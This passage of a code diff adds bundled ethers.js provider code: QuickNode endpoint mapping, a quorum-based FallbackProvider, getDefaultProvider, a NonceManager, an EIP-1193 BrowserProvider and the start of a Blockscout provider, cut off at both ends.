+ case "arbitrum-goerli": + return "ethers.arbitrum-goerli.quiknode.pro"; + case "arbitrum-sepolia": + return "ethers.arbitrum-sepolia.quiknode.pro"; + case "base": + return "ethers.base-mainnet.quiknode.pro"; + case "base-goerli": + return "ethers.base-goerli.quiknode.pro"; + case "base-spolia": + return "ethers.base-sepolia.quiknode.pro"; + case "bnb": + return "ethers.bsc.quiknode.pro"; + case "bnbt": + return "ethers.bsc-testnet.quiknode.pro"; + case "matic": + return "ethers.matic.quiknode.pro"; + case "matic-mumbai": + return "ethers.matic-testnet.quiknode.pro"; + case "optimism": + return "ethers.optimism.quiknode.pro"; + case "optimism-goerli": + return "ethers.optimism-goerli.quiknode.pro"; + case "optimism-sepolia": + return "ethers.optimism-sepolia.quiknode.pro"; + case "xdai": + return "ethers.xdai.quiknode.pro"; + } + assertArgument(false, "unsupported network", "network", name); +} +/* +@TODO: + These networks are not currently present in the Network + default included networks. Research them and ensure they + are EVM compatible and work with ethers + + http://ethers.matic-amoy.quiknode.pro + + http://ethers.avalanche-mainnet.quiknode.pro + http://ethers.avalanche-testnet.quiknode.pro + http://ethers.blast-sepolia.quiknode.pro + http://ethers.celo-mainnet.quiknode.pro + http://ethers.fantom.quiknode.pro + http://ethers.imx-demo.quiknode.pro + http://ethers.imx-mainnet.quiknode.pro + http://ethers.imx-testnet.quiknode.pro + http://ethers.near-mainnet.quiknode.pro + http://ethers.near-testnet.quiknode.pro + http://ethers.nova-mainnet.quiknode.pro + http://ethers.scroll-mainnet.quiknode.pro + http://ethers.scroll-testnet.quiknode.pro + http://ethers.tron-mainnet.quiknode.pro + http://ethers.zkevm-mainnet.quiknode.pro + http://ethers.zkevm-testnet.quiknode.pro + http://ethers.zksync-mainnet.quiknode.pro + http://ethers.zksync-testnet.quiknode.pro +*/ +/** + * The **QuickNodeProvider** connects to the [[link-quicknode]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API token is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-quicknode). + */ +class QuickNodeProvider extends JsonRpcProvider { + /** + * The API token. + */ + token; + /** + * Creates a new **QuickNodeProvider**. + */ + constructor(_network, token) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + if (token == null) { + token = defaultToken; + } + const request = QuickNodeProvider.getRequest(network, token); + super(request, network, { staticNetwork: network }); + defineProperties(this, { token }); + } + _getProvider(chainId) { + try { + return new QuickNodeProvider(chainId, this.token); + } + catch (error) { } + return super._getProvider(chainId); + } + isCommunityResource() { + return (this.token === defaultToken); + } + /** + * Returns a new request prepared for %%network%% and the + * %%token%%. + */ + static getRequest(network, token) { + if (token == null) { + token = defaultToken; + } + const request = new FetchRequest(`https:/\/${getHost$1(network.name)}/${token}`); + request.allowGzip = true; + //if (projectSecret) { request.setCredentials("", projectSecret); } + if (token === defaultToken) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("QuickNodeProvider"); + return true; + }; + } + return request; + } +} + +/** + * A **FallbackProvider** provides resilience, security and performance + * in a way that is customizable and configurable. + * + * @_section: api/providers/fallback-provider:Fallback Provider [about-fallback-provider] + */ +const BN_1 = BigInt("1"); +const BN_2 = BigInt("2"); +function shuffle(array) { + for (let i = array.length - 1; i > 0; i--) { + const j = Math.floor(Math.random() * (i + 1)); + const tmp = array[i]; + array[i] = array[j]; + array[j] = tmp; + } +} +function stall$2(duration) { + return new Promise((resolve) => { setTimeout(resolve, duration); }); +} +function getTime() { return (new Date()).getTime(); } +function stringify(value) { + return JSON.stringify(value, (key, value) => { + if (typeof (value) === "bigint") { + return { type: "bigint", value: value.toString() }; + } + return value; + }); +} +const defaultConfig = { stallTimeout: 400, priority: 1, weight: 1 }; +const defaultState = { + blockNumber: -2, requests: 0, lateResponses: 0, errorResponses: 0, + outOfSync: -1, unsupportedEvents: 0, rollingDuration: 0, score: 0, + _network: null, _updateNumber: null, _totalTime: 0, + _lastFatalError: null, _lastFatalErrorTimestamp: 0 +}; +async function waitForSync(config, blockNumber) { + while (config.blockNumber < 0 || config.blockNumber < blockNumber) { + if (!config._updateNumber) { + config._updateNumber = (async () => { + try { + const blockNumber = await config.provider.getBlockNumber(); + if (blockNumber > config.blockNumber) { + config.blockNumber = blockNumber; + } + } + catch (error) { + config.blockNumber = -2; + config._lastFatalError = error; + config._lastFatalErrorTimestamp = getTime(); + } + config._updateNumber = null; + })(); + } + await config._updateNumber; + config.outOfSync++; + if (config._lastFatalError) { + break; + } + } +} +function _normalize(value) { + if (value == null) { + return "null"; + } + if (Array.isArray(value)) { + return "[" + (value.map(_normalize)).join(",") + "]"; + } + if (typeof (value) === "object" && typeof (value.toJSON) === "function") { + return _normalize(value.toJSON()); + } + switch (typeof (value)) { + case "boolean": + case "symbol": + return value.toString(); + case "bigint": + case "number": + return BigInt(value).toString(); + case "string": + return JSON.stringify(value); + case "object": { + const keys = Object.keys(value); + keys.sort(); + return "{" + keys.map((k) => `${JSON.stringify(k)}:${_normalize(value[k])}`).join(",") + "}"; + } + } + console.log("Could not serialize", value); + throw new Error("Hmm..."); +} +function normalizeResult(method, value) { + if ("error" in value) { + const error = value.error; + let tag; + if (isError(error, "CALL_EXCEPTION")) { + tag = _normalize(Object.assign({}, error, { + shortMessage: undefined, reason: undefined, info: undefined + })); + } + else { + tag = _normalize(error); + } + return { tag, value: error }; + } + const result = value.result; + return { tag: _normalize(result), value: result }; +} +// This strategy picks the highest weight result, as long as the weight is +// equal to or greater than quorum +function checkQuorum(quorum, results) { + const tally = new Map(); + for (const { value, tag, weight } of results) { + const t = tally.get(tag) || { value, weight: 0 }; + t.weight += weight; + tally.set(tag, t); + } + let best = null; + for (const r of tally.values()) { + if (r.weight >= quorum && (!best || r.weight > best.weight)) { + best = r; + } + } + if (best) { + return best.value; + } + return undefined; +} +function getMedian(quorum, results) { + let resultWeight = 0; + const errorMap = new Map(); + let bestError = null; + const values = []; + for (const { value, tag, weight } of results) { + if (value instanceof Error) { + const e = errorMap.get(tag) || { value, weight: 0 }; + e.weight += weight; + errorMap.set(tag, e); + if (bestError == null || e.weight > bestError.weight) { + bestError = e; + } + } + else { + values.push(BigInt(value)); + resultWeight += weight; + } + } + if (resultWeight < quorum) { + // We have quorum for an error + if (bestError && bestError.weight >= quorum) { + return bestError.value; + } + // We do not have quorum for a result + return undefined; + } + // Get the sorted values + values.sort((a, b) => ((a < b) ? -1 : (b > a) ? 1 : 0)); + const mid = Math.floor(values.length / 2); + // Odd-length; take the middle value + if (values.length % 2) { + return values[mid]; + } + // Even length; take the ceiling of the mean of the center two values + return (values[mid - 1] + values[mid] + BN_1) / BN_2; +} +function getAnyResult(quorum, results) { + // If any value or error meets quorum, that is our preferred result + const result = checkQuorum(quorum, results); + if (result !== undefined) { + return result; + } + // Otherwise, do we have any result? + for (const r of results) { + if (r.value) { + return r.value; + } + } + // Nope! + return undefined; +} +function getFuzzyMode(quorum, results) { + if (quorum === 1) { + return getNumber(getMedian(quorum, results), "%internal"); + } + const tally = new Map(); + const add = (result, weight) => { + const t = tally.get(result) || { result, weight: 0 }; + t.weight += weight; + tally.set(result, t); + }; + for (const { weight, value } of results) { + const r = getNumber(value); + add(r - 1, weight); + add(r, weight); + add(r + 1, weight); + } + let bestWeight = 0; + let bestResult = undefined; + for (const { weight, result } of tally.values()) { + // Use this result, if this result meets quorum and has either: + // - a better weight + // - or equal weight, but the result is larger + if (weight >= quorum && (weight > bestWeight || (bestResult != null && weight === bestWeight && result > bestResult))) { + bestWeight = weight; + bestResult = result; + } + } + return bestResult; +} +/** + * A **FallbackProvider** manages several [[Providers]] providing + * resilience by switching between slow or misbehaving nodes, security + * by requiring multiple backends to aggree and performance by allowing + * faster backends to respond earlier. + * + */ +class FallbackProvider extends AbstractProvider { + /** + * The number of backends that must agree on a value before it is + * accpeted. + */ + quorum; + /** + * @_ignore: + */ + eventQuorum; + /** + * @_ignore: + */ + eventWorkers; + #configs; + #height; + #initialSyncPromise; + /** + * Creates a new **FallbackProvider** with %%providers%% connected to + * %%network%%. + * + * If a [[Provider]] is included in %%providers%%, defaults are used + * for the configuration. + */ + constructor(providers, network, options) { + super(network, options); + this.#configs = providers.map((p) => { + if (p instanceof AbstractProvider) { + return Object.assign({ provider: p }, defaultConfig, defaultState); + } + else { + return Object.assign({}, defaultConfig, p, defaultState); + } + }); + this.#height = -2; + this.#initialSyncPromise = null; + if (options && options.quorum != null) { + this.quorum = options.quorum; + } + else { + this.quorum = Math.ceil(this.#configs.reduce((accum, config) => { + accum += config.weight; + return accum; + }, 0) / 2); + } + this.eventQuorum = 1; + this.eventWorkers = 1; + assertArgument(this.quorum <= this.#configs.reduce((a, c) => (a + c.weight), 0), "quorum exceed provider weight", "quorum", this.quorum); + } + get providerConfigs() { + return this.#configs.map((c) => { + const result = Object.assign({}, c); + for (const key in result) { + if (key[0] === "_") { + delete result[key]; + } + } + return result; + }); + } + async _detectNetwork() { + return Network.from(getBigInt(await this._perform({ method: "chainId" }))); + } + // @TODO: Add support to select providers to be the event subscriber + //_getSubscriber(sub: Subscription): Subscriber { + // throw new Error("@TODO"); + //} + /** + * Transforms a %%req%% into the correct method call on %%provider%%. + */ + async _translatePerform(provider, req) { + switch (req.method) { + case "broadcastTransaction": + return await provider.broadcastTransaction(req.signedTransaction); + case "call": + return await provider.call(Object.assign({}, req.transaction, { blockTag: req.blockTag })); + case "chainId": + return (await provider.getNetwork()).chainId; + case "estimateGas": + return await provider.estimateGas(req.transaction); + case "getBalance": + return await provider.getBalance(req.address, req.blockTag); + case "getBlock": { + const block = ("blockHash" in req) ? req.blockHash : req.blockTag; + return await provider.getBlock(block, req.includeTransactions); + } + case "getBlockNumber": + return await provider.getBlockNumber(); + case "getCode": + return await provider.getCode(req.address, req.blockTag); + case "getGasPrice": + return (await provider.getFeeData()).gasPrice; + case "getPriorityFee": + return (await provider.getFeeData()).maxPriorityFeePerGas; + case "getLogs": + return await provider.getLogs(req.filter); + case "getStorage": + return await provider.getStorage(req.address, req.position, req.blockTag); + case "getTransaction": + return await provider.getTransaction(req.hash); + case "getTransactionCount": + return await provider.getTransactionCount(req.address, req.blockTag); + case "getTransactionReceipt": + return await provider.getTransactionReceipt(req.hash); + case "getTransactionResult": + return await provider.getTransactionResult(req.hash); + } + } + // Grab the next (random) config that is not already part of + // the running set + #getNextConfig(running) { + // @TODO: Maybe do a check here to favour (heavily) providers that + // do not require waitForSync and disfavour providers that + // seem down-ish or are behaving slowly + const configs = Array.from(running).map((r) => r.config); + // Shuffle the states, sorted by priority + const allConfigs = this.#configs.slice(); + shuffle(allConfigs); + allConfigs.sort((a, b) => (a.priority - b.priority)); + for (const config of allConfigs) { + if (config._lastFatalError) { + continue; + } + if (configs.indexOf(config) === -1) { + return config; + } + } + return null; + } + // Adds a new runner (if available) to running. + #addRunner(running, req) { + const config = this.#getNextConfig(running); + // No runners available + if (config == null) { + return null; + } + // Create a new runner + const runner = { + config, result: null, didBump: false, + perform: null, staller: null + }; + const now = getTime(); + // Start performing this operation + runner.perform = (async () => { + try { + config.requests++; + const result = await this._translatePerform(config.provider, req); + runner.result = { result }; + } + catch (error) { + config.errorResponses++; + runner.result = { error }; + } + const dt = (getTime() - now); + config._totalTime += dt; + config.rollingDuration = 0.95 * config.rollingDuration + 0.05 * dt; + runner.perform = null; + })(); + // Start a staller; when this times out, it's time to force + // kicking off another runner because we are taking too long + runner.staller = (async () => { + await stall$2(config.stallTimeout); + runner.staller = null; + })(); + running.add(runner); + return runner; + } + // Initializes the blockNumber and network for each runner and + // blocks until initialized + async #initialSync() { + let initialSync = this.#initialSyncPromise; + if (!initialSync) { + const promises = []; + this.#configs.forEach((config) => { + promises.push((async () => { + await waitForSync(config, 0); + if (!config._lastFatalError) { + config._network = await config.provider.getNetwork(); + } + })()); + }); + this.#initialSyncPromise = initialSync = (async () => { + // Wait for all providers to have a block number and network + await Promise.all(promises); + // Check all the networks match + let chainId = null; + for (const config of this.#configs) { + if (config._lastFatalError) { + continue; + } + const network = (config._network); + if (chainId == null) { + chainId = network.chainId; + } + else if (network.chainId !== chainId) { + assert(false, "cannot mix providers on different networks", "UNSUPPORTED_OPERATION", { + operation: "new FallbackProvider" + }); + } + } + })(); + } + await initialSync; + } + async #checkQuorum(running, req) { + // Get all the result objects + const results = []; + for (const runner of running) { + if (runner.result != null) { + const { tag, value } = normalizeResult(req.method, runner.result); + results.push({ tag, value, weight: runner.config.weight }); + } + } + // Are there enough results to event meet quorum? + if (results.reduce((a, r) => (a + r.weight), 0) < this.quorum) { + return undefined; + } + switch (req.method) { + case "getBlockNumber": { + // We need to get the bootstrap block height + if (this.#height === -2) { + this.#height = Math.ceil(getNumber(getMedian(this.quorum, this.#configs.filter((c) => (!c._lastFatalError)).map((c) => ({ + value: c.blockNumber, + tag: getNumber(c.blockNumber).toString(), + weight: c.weight + }))))); + } + // Find the mode across all the providers, allowing for + // a little drift between block heights + const mode = getFuzzyMode(this.quorum, results); + if (mode === undefined) { + return undefined; + } + if (mode > this.#height) { + this.#height = mode; + } + return this.#height; + } + case "getGasPrice": + case "getPriorityFee": + case "estimateGas": + return getMedian(this.quorum, results); + case "getBlock": + // Pending blocks are in the mempool and already + // quite untrustworthy; just grab anything + if ("blockTag" in req && req.blockTag === "pending") { + return getAnyResult(this.quorum, results); + } + return checkQuorum(this.quorum, results); + case "call": + case "chainId": + case "getBalance": + case "getTransactionCount": + case "getCode": + case "getStorage": + case "getTransaction": + case "getTransactionReceipt": + case "getLogs": + return checkQuorum(this.quorum, results); + case "broadcastTransaction": + return getAnyResult(this.quorum, results); + } + assert(false, "unsupported method", "UNSUPPORTED_OPERATION", { + operation: `_perform(${stringify(req.method)})` + }); + } + async #waitForQuorum(running, req) { + if (running.size === 0) { + throw new Error("no runners?!"); + } + // Any promises that are interesting to watch for; an expired stall + // or a successful perform + const interesting = []; + let newRunners = 0; + for (const runner of running) { + // No responses, yet; keep an eye on it + if (runner.perform) { + interesting.push(runner.perform); + } + // Still stalling... + if (runner.staller) { + interesting.push(runner.staller); + continue; + } + // This runner has already triggered another runner + if (runner.didBump) { + continue; + } + // Got a response (result or error) or stalled; kick off another runner + runner.didBump = true; + newRunners++; + } + // Check if we have reached quorum on a result (or error) + const value = await this.#checkQuorum(running, req); + if (value !== undefined) { + if (value instanceof Error) { + throw value; + } + return value; + } + // Add any new runners, because a staller timed out or a result + // or error response came in. + for (let i = 0; i < newRunners; i++) { + this.#addRunner(running, req); + } + // All providers have returned, and we have no result + assert(interesting.length > 0, "quorum not met", "SERVER_ERROR", { + request: "%sub-requests", + info: { request: req, results: Array.from(running).map((r) => stringify(r.result)) } + }); + // Wait for someone to either complete its perform or stall out + await Promise.race(interesting); + // This is recursive, but at worst case the depth is 2x the + // number of providers (each has a perform and a staller) + return await this.#waitForQuorum(running, req); + } + async _perform(req) { + // Broadcasting a transaction is rare (ish) and already incurs + // a cost on the user, so spamming is safe-ish. Just send it to + // every backend. + if (req.method === "broadcastTransaction") { + // Once any broadcast provides a positive result, use it. No + // need to wait for anyone else + const results = this.#configs.map((c) => null); + const broadcasts = this.#configs.map(async ({ provider, weight }, index) => { + try { + const result = await provider._perform(req); + results[index] = Object.assign(normalizeResult(req.method, { result }), { weight }); + } + catch (error) { + results[index] = Object.assign(normalizeResult(req.method, { error }), { weight }); + } + }); + // As each promise finishes... + while (true) { + // Check for a valid broadcast result + const done = results.filter((r) => (r != null)); + for (const { value } of done) { + if (!(value instanceof Error)) { + return value; + } + } + // Check for a legit broadcast error (one which we cannot + // recover from; some nodes may return the following red + // herring events: + // - alredy seend (UNKNOWN_ERROR) + // - NONCE_EXPIRED + // - REPLACEMENT_UNDERPRICED + const result = checkQuorum(this.quorum, results.filter((r) => (r != null))); + if (isError(result, "INSUFFICIENT_FUNDS")) { + throw result; + } + // Kick off the next provider (if any) + const waiting = broadcasts.filter((b, i) => (results[i] == null)); + if (waiting.length === 0) { + break; + } + await Promise.race(waiting); + } + // Use standard quorum results; any result was returned above, + // so this will find any error that met quorum if any + const result = getAnyResult(this.quorum, results); + assert(result !== undefined, "problem multi-broadcasting", "SERVER_ERROR", { + request: "%sub-requests", + info: { request: req, results: results.map(stringify) } + }); + if (result instanceof Error) { + throw result; + } + return result; + } + await this.#initialSync(); + // Bootstrap enough runners to meet quorum + const running = new Set(); + let inflightQuorum = 0; + while (true) { + const runner = this.#addRunner(running, req); + if (runner == null) { + break; + } + inflightQuorum += runner.config.weight; + if (inflightQuorum >= this.quorum) { + break; + } + } + const result = await this.#waitForQuorum(running, req); + // Track requests sent to a provider that are still + // outstanding after quorum has been otherwise found + for (const runner of running) { + if (runner.perform && runner.result == null) { + runner.config.lateResponses++; + } + } + return result; + } + async destroy() { + for (const { provider } of this.#configs) { + provider.destroy(); + } + super.destroy(); + } +} + +function isWebSocketLike(value) { + return (value && typeof (value.send) === "function" && + typeof (value.close) === "function"); +} +const Testnets = "goerli kovan sepolia classicKotti optimism-goerli arbitrum-goerli matic-mumbai bnbt".split(" "); +/** + * Returns a default provider for %%network%%. + * + * If %%network%% is a [[WebSocketLike]] or string that begins with + * ``"ws:"`` or ``"wss:"``, a [[WebSocketProvider]] is returned backed + * by that WebSocket or URL. + * + * If %%network%% is a string that begins with ``"HTTP:"`` or ``"HTTPS:"``, + * a [[JsonRpcProvider]] is returned connected to that URL. + * + * Otherwise, a default provider is created backed by well-known public + * Web3 backends (such as [[link-infura]]) using community-provided API + * keys. + * + * The %%options%% allows specifying custom API keys per backend (setting + * an API key to ``"-"`` will omit that provider) and ``options.exclusive`` + * can be set to either a backend name or and array of backend names, which + * will whitelist **only** those backends. + * + * Current backend strings supported are: + * - ``"alchemy"`` + * - ``"ankr"`` + * - ``"cloudflare"`` + * - ``"chainstack"`` + * - ``"etherscan"`` + * - ``"infura"`` + * - ``"publicPolygon"`` + * - ``"quicknode"`` + * + * @example: + * // Connect to a local Geth node + * provider = getDefaultProvider("http://localhost:8545/"); + * + * // Connect to Ethereum mainnet with any current and future + * // third-party services available + * provider = getDefaultProvider("mainnet"); + * + * // Connect to Polygon, but only allow Etherscan and + * // INFURA and use "MY_API_KEY" in calls to Etherscan. + * provider = getDefaultProvider("matic", { + * etherscan: "MY_API_KEY", + * exclusive: [ "etherscan", "infura" ] + * }); + */ +function getDefaultProvider(network, options) { + if (options == null) { + options = {}; + } + const allowService = (name) => { + if (options[name] === "-") { + return false; + } + if (typeof (options.exclusive) === "string") { + return (name === options.exclusive); + } + if (Array.isArray(options.exclusive)) { + return (options.exclusive.indexOf(name) !== -1); + } + return true; + }; + if (typeof (network) === "string" && network.match(/^https?:/)) { + return new JsonRpcProvider(network); + } + if (typeof (network) === "string" && network.match(/^wss?:/) || isWebSocketLike(network)) { + return new WebSocketProvider(network); + } + // Get the network and name, if possible + let staticNetwork = null; + try { + staticNetwork = Network.from(network); + } + catch (error) { } + const providers = []; + if (allowService("publicPolygon") && staticNetwork) { + if (staticNetwork.name === "matic") { + providers.push(new JsonRpcProvider("https:/\/polygon-rpc.com/", staticNetwork, { staticNetwork })); + } + else if (staticNetwork.name === "matic-amoy") { + providers.push(new JsonRpcProvider("https:/\/rpc-amoy.polygon.technology/", staticNetwork, { staticNetwork })); + } + } + if (allowService("alchemy")) { + try { + providers.push(new AlchemyProvider(network, options.alchemy)); + } + catch (error) { } + } + if (allowService("ankr") && options.ankr != null) { + try { + providers.push(new AnkrProvider(network, options.ankr)); + } + catch (error) { } + } + /* Temporarily remove until custom error issue is fixed + if (allowService("blockscout")) { + try { + providers.push(new BlockscoutProvider(network, options.blockscout)); + } catch (error) { } + } + */ + if (allowService("chainstack")) { + try { + providers.push(new ChainstackProvider(network, options.chainstack)); + } + catch (error) { } + } + if (allowService("cloudflare")) { + try { + providers.push(new CloudflareProvider(network)); + } + catch (error) { } + } + if (allowService("etherscan")) { + try { + providers.push(new EtherscanProvider(network, options.etherscan)); + } + catch (error) { } + } + if (allowService("infura")) { + try { + let projectId = options.infura; + let projectSecret = undefined; + if (typeof (projectId) === "object") { + projectSecret = projectId.projectSecret; + projectId = projectId.projectId; + } + providers.push(new InfuraProvider(network, projectId, projectSecret)); + } + catch (error) { } + } + /* + if (options.pocket !== "-") { + try { + let appId = options.pocket; + let secretKey: undefined | string = undefined; + let loadBalancer: undefined | boolean = undefined; + if (typeof(appId) === "object") { + loadBalancer = !!appId.loadBalancer; + secretKey = appId.secretKey; + appId = appId.appId; + } + providers.push(new PocketProvider(network, appId, secretKey, loadBalancer)); + } catch (error) { console.log(error); } + } + */ + if (allowService("quicknode")) { + try { + let token = options.quicknode; + providers.push(new QuickNodeProvider(network, token)); + } + catch (error) { } + } + assert(providers.length, "unsupported default network", "UNSUPPORTED_OPERATION", { + operation: "getDefaultProvider" + }); + // No need for a FallbackProvider + if (providers.length === 1) { + return providers[0]; + } + // We use the floor because public third-party providers can be unreliable, + // so a low number of providers with a large quorum will fail too often + let quorum = Math.floor(providers.length / 2); + if (quorum > 2) { + quorum = 2; + } + // Testnets don't need as strong a security gaurantee and speed is + // more useful during testing + if (staticNetwork && Testnets.indexOf(staticNetwork.name) !== -1) { + quorum = 1; + } + // Provided override qorum takes priority + if (options && options.quorum) { + quorum = options.quorum; + } + return new FallbackProvider(providers, undefined, { quorum }); +} + +/** + * A **NonceManager** wraps another [[Signer]] and automatically manages + * the nonce, ensuring serialized and sequential nonces are used during + * transaction. + */ +class NonceManager extends AbstractSigner { + /** + * The Signer being managed. + */ + signer; + #noncePromise; + #delta; + /** + * Creates a new **NonceManager** to manage %%signer%%. + */ + constructor(signer) { + super(signer.provider); + defineProperties(this, { signer }); + this.#noncePromise = null; + this.#delta = 0; + } + async getAddress() { + return this.signer.getAddress(); + } + connect(provider) { + return new NonceManager(this.signer.connect(provider)); + } + async getNonce(blockTag) { + if (blockTag === "pending") { + if (this.#noncePromise == null) { + this.#noncePromise = super.getNonce("pending"); + } + const delta = this.#delta; + return (await this.#noncePromise) + delta; + } + return super.getNonce(blockTag); + } + /** + * Manually increment the nonce. This may be useful when managng + * offline transactions. + */ + increment() { + this.#delta++; + } + /** + * Resets the nonce, causing the **NonceManager** to reload the current + * nonce from the blockchain on the next transaction. + */ + reset() { + this.#delta = 0; + this.#noncePromise = null; + } + async sendTransaction(tx) { + const noncePromise = this.getNonce("pending"); + this.increment(); + tx = await this.signer.populateTransaction(tx); + tx.nonce = await noncePromise; + // @TODO: Maybe handle interesting/recoverable errors? + // Like don't increment if the tx was certainly not sent + return await this.signer.sendTransaction(tx); + } + signTransaction(tx) { + return this.signer.signTransaction(tx); + } + signMessage(message) { + return this.signer.signMessage(message); + } + signTypedData(domain, types, value) { + return this.signer.signTypedData(domain, types, value); + } +} + +/** + * A **BrowserProvider** is intended to wrap an injected provider which + * adheres to the [[link-eip-1193]] standard, which most (if not all) + * currently do. + */ +class BrowserProvider extends JsonRpcApiPollingProvider { + #request; + #providerInfo; + /** + * Connect to the %%ethereum%% provider, optionally forcing the + * %%network%%. + */ + constructor(ethereum, network, _options) { + // Copy the options + const options = Object.assign({}, ((_options != null) ? _options : {}), { batchMaxCount: 1 }); + assertArgument(ethereum && ethereum.request, "invalid EIP-1193 provider", "ethereum", ethereum); + super(network, options); + this.#providerInfo = null; + if (_options && _options.providerInfo) { + this.#providerInfo = _options.providerInfo; + } + this.#request = async (method, params) => { + const payload = { method, params }; + this.emit("debug", { action: "sendEip1193Request", payload }); + try { + const result = await ethereum.request(payload); + this.emit("debug", { action: "receiveEip1193Result", result }); + return result; + } + catch (e) { + const error = new Error(e.message); + error.code = e.code; + error.data = e.data; + error.payload = payload; + this.emit("debug", { action: "receiveEip1193Error", error }); + throw error; + } + }; + } + get providerInfo() { + return this.#providerInfo; + } + async send(method, params) { + await this._start(); + return await super.send(method, params); + } + async _send(payload) { + assertArgument(!Array.isArray(payload), "EIP-1193 does not support batch request", "payload", payload); + try { + const result = await this.#request(payload.method, payload.params || []); + return [{ id: payload.id, result }]; + } + catch (e) { + return [{ + id: payload.id, + error: { code: e.code, data: e.data, message: e.message } + }]; + } + } + getRpcError(payload, error) { + error = JSON.parse(JSON.stringify(error)); + // EIP-1193 gives us some machine-readable error codes, so rewrite + // them into Ethers standard errors. + switch (error.error.code || -1) { + case 4001: + error.error.message = `ethers-user-denied: ${error.error.message}`; + break; + case 4200: + error.error.message = `ethers-unsupported: ${error.error.message}`; + break; + } + return super.getRpcError(payload, error); + } + /** + * Resolves to ``true`` if the provider manages the %%address%%. + */ + async hasSigner(address) { + if (address == null) { + address = 0; + } + const accounts = await this.send("eth_accounts", []); + if (typeof (address) === "number") { + return (accounts.length > address); + } + address = address.toLowerCase(); + return accounts.filter((a) => (a.toLowerCase() === address)).length !== 0; + } + async getSigner(address) { + if (address == null) { + address = 0; + } + if (!(await this.hasSigner(address))) { + try { + await this.#request("eth_requestAccounts", []); + } + catch (error) { + const payload = error.payload; + throw this.getRpcError(payload, { id: payload.id, error }); + } + } + return await super.getSigner(address); + } + /** + * Discover and connect to a Provider in the Browser using the + * [[link-eip-6963]] discovery mechanism. If no providers are + * present, ``null`` is resolved. + */ + static async discover(options) { + if (options == null) { + options = {}; + } + if (options.provider) { + return new BrowserProvider(options.provider); + } + const context = options.window ? options.window : + (typeof (window) !== "undefined") ? window : null; + if (context == null) { + return null; + } + const anyProvider = options.anyProvider; + if (anyProvider && context.ethereum) { + return new BrowserProvider(context.ethereum); + } + if (!("addEventListener" in context && "dispatchEvent" in context + && "removeEventListener" in context)) { + return null; + } + const timeout = options.timeout ? options.timeout : 300; + if (timeout === 0) { + return null; + } + return await (new Promise((resolve, reject) => { + let found = []; + const addProvider = (event) => { + found.push(event.detail); + if (anyProvider) { + finalize(); + } + }; + const finalize = () => { + clearTimeout(timer); + if (found.length) { + // If filtering is provided: + if (options && options.filter) { + // Call filter, with a copies of found provider infos + const filtered = options.filter(found.map(i => Object.assign({}, (i.info)))); + if (filtered == null) { + // No provider selected + resolve(null); + } + else if (filtered instanceof BrowserProvider) { + // Custom provider created + resolve(filtered); + } + else { + // Find the matching provider + let match = null; + if (filtered.uuid) { + const matches = found.filter(f => (filtered.uuid === f.info.uuid)); + // @TODO: What should happen if multiple values + // for the same UUID? + match = matches[0]; + } + if (match) { + const { provider, info } = match; + resolve(new BrowserProvider(provider, undefined, { + providerInfo: info + })); + } + else { + reject(makeError("filter returned unknown info", "UNSUPPORTED_OPERATION", { + value: filtered + })); + } + } + } + else { + // Pick the first found provider + const { provider, info } = found[0]; + resolve(new BrowserProvider(provider, undefined, { + providerInfo: info + })); + } + } + else { + // Nothing found + resolve(null); + } + context.removeEventListener("eip6963:announceProvider", addProvider); + }; + const timer = setTimeout(() => { finalize(); }, timeout); + context.addEventListener("eip6963:announceProvider", addProvider); + context.dispatchEvent(new Event("eip6963:requestProvider")); + })); + } +} + +/** + * [[link-blockscout]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Sepolia Testnet (``sepolia``) + * - Holesky Testnet (``holesky``) + * - Ethereum Classic (``classic``) + * - Arbitrum (``arbitrum``) + * - Base (``base``) + * - Base Sepolia Testnet (``base-sepolia``) + * - Gnosis (``xdai``) + * - Optimism (``optimism``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * + * @_subsection: api/providers/thirdparty:Blockscout [providers-blockscout] + */ +function getUrl(name) { + switch (name) { + case "mainnet": + return "https:/\/eth.blockscout.com/api/eth-rpc"; + case "sepolia": + return "https:/\/eth-sepolia.blockscout.com/api/eth-rpc"; + case "holesky": + return "https:/\/eth-holesky.blockscout.com/api/eth-rpc"; + case "classic": + return "https:/\/etc.blockscout.com/api/eth-rpc"; + case "arbitrum": + return "https:/\/arbitrum.blockscout.com/api/eth-rpc"; + case "base": + return "https:/\/base.blockscout.com/api/eth-rpc"; + case "base-sepolia": + return "https:/\/base-sepolia.blockscout.com/api/eth-rpc"; + case "matic": + return "https:/\/polygon.blockscout.com/api/eth-rpc"; + case "optimism": + return "https:/\/optimism.blockscout.com/api/eth-rpc"; + case "optimism-sepolia": + return "https:/\/optimism-sepolia.blockscout.com/api/eth-rpc"; + case "xdai": + return "https:/\/gnosis.blockscout.com/api/eth-rpc"; + } + assertArgument(false, "unsupported network", "network", name); +} +/** + * The **BlockscoutProvider** connects to the [[link-blockscout]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-blockscout). + */ +class BlockscoutProvider extends JsonRpcProvider { + /** + * The API key. + */ + apiKey; + /** + * Creates a new **BlockscoutProvider**. + */ + constructor(_network, apiKey) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + if (apiKey == null) { + apiKey = null; + } + const request = BlockscoutProvider.getRequest(network); + super(request, network, { staticNetwork: network }); + defineProperties(this, { apiKey }); + } + _getProvider(chainId) { + try { + return new BlockscoutProvider(chainId, this.apiKey); + } + catch (error) { } + return super._getProvider(chainId); + } + isCommunityResource() { + return (this.apiKey === null); + } + getRpcRequest(req) { + // Blockscout enforces the TAG argument for estimateGas + const resp = super.getRpcRequest(req); + if (resp && resp.method === "eth_estimateGas" && resp.args.length == 1) { + resp.args = resp.args.slice(); + resp.args.push("latest"); + } + return resp; + } + getRpcError(payload, _error) { + const error = _error ? _error.error : null; + // Blockscout currently drops the VM result and replaces it with a + // human-readable string, so we need to make it machine-readable. + if (error && error.code === -32015 && !isHexString(error.data || "", true)) { + const panicCodes = { + "assert(false)": "01", + "arithmetic underflow or overflow": "11", + "division or modulo by zero": "12", + "out-of-bounds array access; popping on an empty array": "31", + 